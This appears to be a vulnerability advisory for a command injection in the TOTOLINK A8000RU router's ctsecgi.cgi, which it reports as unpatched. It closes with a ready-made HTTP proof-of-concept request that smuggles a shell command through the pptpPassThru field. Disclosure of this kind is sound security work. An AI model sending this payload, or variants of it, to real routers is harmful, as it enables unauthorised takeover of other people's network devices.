# A8000RU Command Injection Vulnerability Summary ## Vulnerability Overview The TOTOLINK A8000RU router has a command injection vulnerability. An attacker can craft malicious requests to inject arbitrary operating system commands via the `pptpPassThru` parameter in `ctsecgi.cgi`. ## Impact Scope - **Vendor**: TOTOLINK - **Product**: A8000RU - **Version**: 7.1cu643_b20200521 ## Remediation No official fix is currently available. ## Proof of Concept (PoC) ```http POST /cgi-bin/ctsecgi.cgi HTTP/1.1 Host: 192.168.6.1 Content-Length: 135 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Origin: http://192.168.6.1 Referer: http://192.168.6.1/phone/login.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=1774537321.2 Connection: keep-alive {"topiscurl":"setVpnPassCfg","wanPumpFilter":"","l2tpPassThru":"","pptpPassThru":"ls /setVpnPassCfg.txt ","ipsecPassThru":""} ```